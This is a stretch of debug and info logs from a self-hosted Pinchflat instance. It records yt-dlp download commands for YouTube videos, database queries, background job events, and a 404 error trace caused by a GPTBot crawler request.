--cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:56.172 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/2c/2d2cfbe5fd3482c063510527c72cfd3e90f51637bb5f0254d71674f13ec24d72.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:56.172 [debug] Running yt-dlp command for action: download 22:55:56.172 [debug] QUERY OK source="settings" db=0.0ms idle=1108.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:56.172 [debug] QUERY OK source="settings" db=0.0ms idle=1108.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:56.172 [debug] QUERY OK source="settings" db=0.0ms idle=1108.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:56.172 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/05/0e05cd49c91ec270914affe615194ac4622bfc1b3b406870ce5dcf669e420a07.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:58.979 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.696 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:28.981 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:49.919 [info] GET /sources/1/media/77/force_download 22:56:49.919 [debug] QUERY OK source="settings" db=0.1ms idle=1856.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:49.920 [debug] QUERY OK source="settings" db=0.0ms idle=1856.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:49.920 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:56:49.920 [error] #PID<0.5179.0> running PinchflatWeb.Endpoint (connection #PID<0.5178.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/77/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/77/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5178.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/77/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/77", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5179.0>, params: %{}, path_info: ["sources", "1", "media", "77", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/77"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/77/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDh4Q8Ac4_9ATgAAX2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5178.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/77/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/77", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/77/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5178.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/77/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/77", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5179.0>, params: %{}, path_info: ["sources", "1", "media", "77", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:56:49.959 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/60/ac/60aca93c602eb4bea0b7e1486f4e196488bd97bd44e5001e3f81dcb708f13afb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:56:49.972 [debug] Running yt-dlp command for action: download_thumbnail 22:56:49.972 [debug] QUERY OK source="settings" db=0.0ms idle=1909.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:49.972 [debug] QUERY OK source="settings" db=0.0ms idle=1478.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:49.972 [debug] QUERY OK source="settings" db=0.0ms idle=477.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:49.973 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/112/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/81/bc/81bc1b982ee3612bc6e6a752e30ff5aa4d8a61081c72dee213db3952fc4576ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:56:52.742 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/112/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/81/bc/81bc1b982ee3612bc6e6a752e30ff5aa4d8a61081c72dee213db3952fc4576ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:56:52.742 [debug] QUERY OK db=0.0ms idle=1678.7ms begin [] 22:56:52.751 [debug] QUERY OK source="media_items" db=8.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:56:49Z], "/downloads/Last Meals/2024-01-23 Uncle Roger Eats His Last Meal/Uncle Roger Eats His Last Meal [Bs4viHlAz3U].mp4", ~U[2026-03-28 02:56:52Z], 112] 22:56:52.759 [debug] QUERY OK source="media_metadata" db=8.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/112/metadata.json.gz", "/config/metadata/media_items/112/thumbnail.jpg", 112, ~U[2026-03-28 02:56:52Z], ~U[2026-03-28 02:56:52Z]] 22:56:52.759 [debug] QUERY OK db=0.4ms commit [] 22:56:52.761 [debug] QUERY OK source="media_items" db=0.9ms idle=1696.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [279793229, ~U[2026-03-28 02:56:52Z], 112] 22:56:52.761 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:56:52.761 [info] {"args":{"id":112},"id":111,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":94718949,"event":"job:stop","queue_time":7550041403,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:56:52.761 [debug] QUERY OK source="tasks" db=0.2ms idle=1262.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:56:52.761 [debug] QUERY OK source="tasks" db=0.3ms idle=260.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:56:52.762 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 22:56:52.762 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 22:56:52.767 [info] {"args":{"id":212},"id":113,"meta":{},"system_time":1774666612767827635,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:56:52.768 [debug] QUERY OK source="media_items" db=0.3ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 22:56:52.768 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:56:52.769 [debug] QUERY OK source="tasks" db=0.9ms idle=6.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:56:52.769 [debug] QUERY OK source="tasks" db=0.9ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:56:52.769 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:56:52.769 [debug] QUERY OK source="media_items" db=0.6ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [113, 212] 22:56:52.770 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [113, 212] 22:56:52.770 [debug] QUERY OK source="media_profiles" db=1.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:56:52.770 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [212] 22:56:52.771 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [212] 22:56:52.771 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:56:52.771 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:52.772 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:52.772 [debug] Running yt-dlp command for action: get_downloadable_status 22:56:52.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:52.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:52.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:52.772 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dc/d2/dcd2c3af67659160e65a7c131c7b27bebf81dea66b8bc255632882a8dce9d840.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:56:55.120 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dc/d2/dcd2c3af67659160e65a7c131c7b27bebf81dea66b8bc255632882a8dce9d840.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:56:55.121 [debug] Running yt-dlp command for action: download 22:56:55.121 [debug] QUERY OK source="settings" db=0.0ms idle=1057.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:55.121 [debug] QUERY OK source="settings" db=0.0ms idle=1057.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:55.121 [debug] QUERY OK source="settings" db=0.0ms idle=1057.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:56:55.121 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1d/87/1d87f6783fcb679416246a6b94f3d4170efdb75c6b39ba02c51970e856fe388a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:56:58.983 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.697 